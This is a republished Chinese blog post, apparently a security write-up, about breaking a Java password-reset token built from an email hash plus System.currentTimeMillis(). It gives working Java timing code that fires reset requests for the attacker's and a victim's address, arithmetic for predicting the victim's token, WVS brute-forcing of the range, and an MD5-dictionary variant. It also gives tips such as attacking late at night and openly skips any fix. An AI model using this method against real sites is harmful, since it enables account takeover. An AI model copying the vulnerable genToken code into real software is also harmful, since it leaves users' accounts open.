zoukankan      html  css  js  c++  java
  • 利用系统时间可预测破解java随机数

    By kxlzx https://www.inbreak.net/
    摘要:
    这是一个随机函数破解的经典例子。在java程序中,获取随机数的做法有多种。但是我们实现一个随机token,并用于认证时,通常第一时间,想起来使用“System.currentTimeMillis”,本文会详细讲解一次破解随机数的经过。

    正文:

    “System.currentTimeMillis”这个方法,返回从UTC 1970年1月1日午夜开始经过的毫秒数。执行结果,可能是类似“1315395175327”这样的数字,因为后面的几位,是毫秒,所以执行结果就好像“随机”一样。
    今天遇到的一个系统,相关业务逻辑场景,是用于找回密码。首先要求用户输入自己的邮箱,系统算出来一个token,发给用户邮箱,让用户使用token,执行修改密码的这一步。
    1、输入邮箱。
    2、发送邮件给用户邮箱。
    3、根据邮箱中的链接,修改密码
    就是说,只要能破解了服务器给用户生成的token,就可以直接修改用户密码。
    在生成token时,采用了这样一段代码:

    public String genToken(String email) {
    String token = email.hashCode() * 21 + System.currentTimeMillis() + "";
    return token;
    }

    从代码上可以看到,Email的hashcode,在用户的email固定的情况下,是不变的,那么这个不变的数字,即使乘以21,依然是不变的。只要知道了用户的email,就可以知道这个数字。
    真正随机的只有System.currentTimeMillis()
    这个方法貌似随机,条件允许的情况下,其实是可以破解的。

    利用系统时间可预测破解java随机数:

    根据以上流程,只要攻击者提交

    https://www.inbreak.net/user/findpassword.action?email=4700012@qq.com

    就可以给攻击者的邮箱,发一封EMAIL。
    ================
    你好,空虚浪子心:
    请点击链接重置密码。该链接24小时内有效。
    或将以下链接拷贝到浏览器地址栏中:

    https://www.inbreak.net/user/resetpassword.action?token=1315336352414

    该邮件由系统自动发送,请勿直接回复此邮件。
    ==============
    随后的那个token,就是随机生成的数字。同理,输入另一个用户(被攻击者)的邮箱,也可以发送一封email。如果服务器上的时间,和攻击者机器上执行的时间一致,在不考虑网络传输成本的前提下,是可以直接得到token的。
    当然,这不可能。
    但是好在我们的时间速度,和服务器的时间速度,基本一致。注意,这里讲的不是时间一致,是时间的速度一致,可能本地的时间是10点,服务器是11点,那么当本地的时间为11点时,服务器必然已经12点了。
    我们的时间,和服务器时间,总是会相差一个数字。
    网络速度,每次传输都不一致,第一次发出请求,可能用1.020秒,第二次,用0.921秒。
    没关系,我们尽量让它变得可预测些。
    在本地,写这样一段代码:
    =================

        public static void main(String[] args) throws IOException {
           System.out.println(i + 1);
           i++;
           System.out.println("------mystart");
           System.out.println("4700012@qq.com ".hashCode() * 21
                  + System.currentTimeMillis());
           sendPost("https://www.inbreak.net/user/findpassword.action?email=4700012@qq.com");
           System.out.println("4700012@qq.com".hashCode() * 21
                  + System.currentTimeMillis());
           System.out.println("------myend");
           System.out.println("------user start");
           Long x = "10000@qq.com".hashCode() * 21
                  + System.currentTimeMillis();
           System.out.println(x);
          sendPost("https://www.inbreak.net/user/findpassword.action?email=10000@qq.com");
           Long y = "10000@qq.com ".hashCode() * 21
                  + System.currentTimeMillis();
           System.out.println(y);
           System.out.println(y - x);
           System.out.println("------user end");
        }

    =================

    代码流程,使用文字描述:

    1、 打印攻击者的开始时间。

    2、 发邮件给攻击者。

    3、 打印攻击者的结束时间。

    4、 打印要破解的用户开始时间

    5、 发邮件给要破解的用户。

    6、 打印要破解的用户结束时间

    7、 打印请求服务器给用户发邮件的用时

    程序执行的结果如下:
    ======================

    ------mystart
    1315395175327
    1315395175437           //攻击者的结束时间
    ------myend
    ------user start
    1316945857268
    1316945857305            //用户结束时间
    37                        //用户结束时间减去用户开始时间 = 网络延迟。
    ------user end

    ======================
    于此同时,收到了一封邮件,token为“1315395156493”。
    然后根据以下的计算公式:
    攻击者的结束时间(已知) – 服务器给攻击者发邮件的时间(已知) = 时间差(可以算出来)
    用户结束时间(已知) – 服务器发给用户邮件时间(就是未知数x) = 时间差(前面算出来的)
    可以算出给用户发邮件的时间,这个时间是模糊的,还需要加减当时的网络延迟(刚才程序打印出来了),才能得到一个最终区间。
    再写段代码:
    =============================

    Long myendtime =  Long.valueOf("1315395175437"); //在我本地执行完给我邮件发送的时间
    Long userendtime =   Long.valueOf("1316945857305"); //在我本地执行完给用户发邮件的时间
    Long myservertime =  Long.valueOf("1315395156493"); //服务器给我发邮件的时间
    Long userservertime = userendtime - (myendtime-myservertime);
    System.out.println(userservertime);

    ===================================
    这段代码打印出了结果:

    1316945838361

    这是我们预测的,服务器给用户的发邮件时间范围基数。
    最终数字,应该是这个值加减37(当时的网络延迟),也就是1316945838324到131694583832474的范围内。
    下面交给WVS处理

    很快的,得出结果,第一列的response内容大小,和其他的不同,大家都是1153B,只有这一条是2685B,说明内容不一样,这就是答案了。

    得到答案,我们访问页面看看。

    图中可以看到,攻击者可以已经破解了token,可以直接修改密码。
    在做网络攻击时,当然情况可能不一致,网络延迟如果很久,可以换网速好,延迟少的机器。最好在半夜三更的时候进行,成功几率大很多。

    进阶攻击:

    当然,会有开发自作聪明,给最终数字,也就是token,加上MD5。这的确可以增加攻击成本,但是实质上还是自欺欺人。对于攻击者,只需要在固定的时间范围,就可以放一个字典。

    1316945838361 -- 7bfe0596e68cb9c43bfd0749d835c62d

    一一对应,在最终做算术题中,多几次查询即可。
    我们可以就拿以上示例,给大家进阶一下。
    代码为

        public String genToken(String email) {
            String token = email.hashCode() * 21 + System.currentTimeMillis() + "";
            return md5(token);
        }

    和前文代码基本一致,只是返回时,最终调用了md5。
    假设还是上次的结果,服务器会返回:

    Token=8b4a258acdff3bf44ed88d174ed0be20

    这个token其实就是时间的加密,他的解密肯定在一定的时间段范围内。我们首先要找到特征。
    执行一下当前时间,先看看我的时间,1315395175437,这是一个long类型。
    通过

    System.out.println(new SimpleDateFormat("yyyy-MM-dd HH:mm").format(new Date(1315395175437)));

    得出结果:

    2011-08-29 20:39

    经过不断的修改数字,可以看出
    13153951,也就是前8位,代表几月几号几点。
    75437,也就是后面5位,代表几分几秒。
    服务器时间就算再傻,也不能把今天,算成明天,最多和我们本地,相差个多少分钟。
    所以我们做字典,在数据库录入:

    以“13153951”为固定前缀+5位数字 (00001到99999)

    之后在这个表,增加一个字段,是前面那个字段的MD5值,当然,如果不放心,可以再往前加几位,就是固定前缀“1315395”+ 6位数字,以此类推,数据库不会很大。
    这个字典,有什么用呢?
    前文说到服务器会给我发邮件,告诉我Token=8b4a258acdff3bf44ed88d174ed0be20,这个md5对应的数字,必然会在这个字典里,所以可以直接从字典中查出来这个md5。
    其后的流程,就和前文破解一致。
    再次贴一遍结果:
    ======================

    ------mystart
    1315395175327
    1315395175437           //攻击者的结束时间
    ------myend
    ------user start
    1316945857268
    1316945857305            //用户结束时间
    37                        //用户结束时间减去用户开始时间 =打印请求服务器给用户发邮件的用时,也就是网络延迟。
    ------user end

    ======================
    之后按照公式,当然会算出1316945838361,是我预测的,服务器给用户的发邮件时间范围基数。
    最终数字,应该是这个值加减37(当时的网络延迟),也就是1316945838324到131694583832474的范围内。
    将以上范围所有数字,md5加密一下,做成字典,放在wvs中跑一遍,一定也能得出结果。
    以上纯属推测,并没有示例测试,但是思路是正确的。

    再次进阶

    从上面的内容中,大家知道并不是看到token,就想当然的以为没办法,我们从黑盒测试的角度,甚至可以做这样一件自动化的事情,以便直接快速的破解。
    当我们看到有存在md5的token后,直接执行以下几步。
    写小程序,将以下流程尽量自动化:
    1、获取当前时间,其中可以加入用户名前缀的hash,也可以加入email等hash,总之,token的内容,是和用户相关,并且是固定的,联想到我们注册时,也就填写了用户名、email,肯定是相关的。用户名或email+随机数,排列组合一下,分别走一遍前三步。
    2、时间范围定在1小时内(前面几位数字固定前缀即可),生成md5字典。
    3、获取自己账号的token,然后在字典中,得出结果。
    4、如果第三步成功,基本就可以确定漏洞存在。后面利用公式,计算出服务器给用户token的时间基数,正负时间差,做成md5字典。
    5、WVS跑一遍字典,查看服务器返回数据大小,从而得出用户的token。
    如果我们已经有生成token的代码,就像文章中的示例,就可以省略猜测算法的步骤了。在生成token的时候,肯定有不少人犯了这样的错误,本文主要谈攻击思路,至于修补方案就不管了,大家懂得。
    By kxlzx https://www.inbreak.net/

  • 相关阅读:
    zookeeper 简介
    缓存雪崩 缓存穿透
    SpringCloud实战2-Ribbon客户端负载均衡
    SpringCloud实战1-Eureka
    JVM笔记9-Class类文件结构
    JVM笔记8-虚拟机性能监控与故障处理工具
    JVM笔记7-内存分配与回收策略
    SpringAOP-JDK 动态代理和 CGLIB 代理
    MySQL多数据源笔记5-ShardingJDBC实战
    MySQL多数据源笔记4-Mycat中间件实战
  • 原文地址:https://www.cnblogs.com/gao88/p/10593098.html
Copyright © 2011-2022 走看看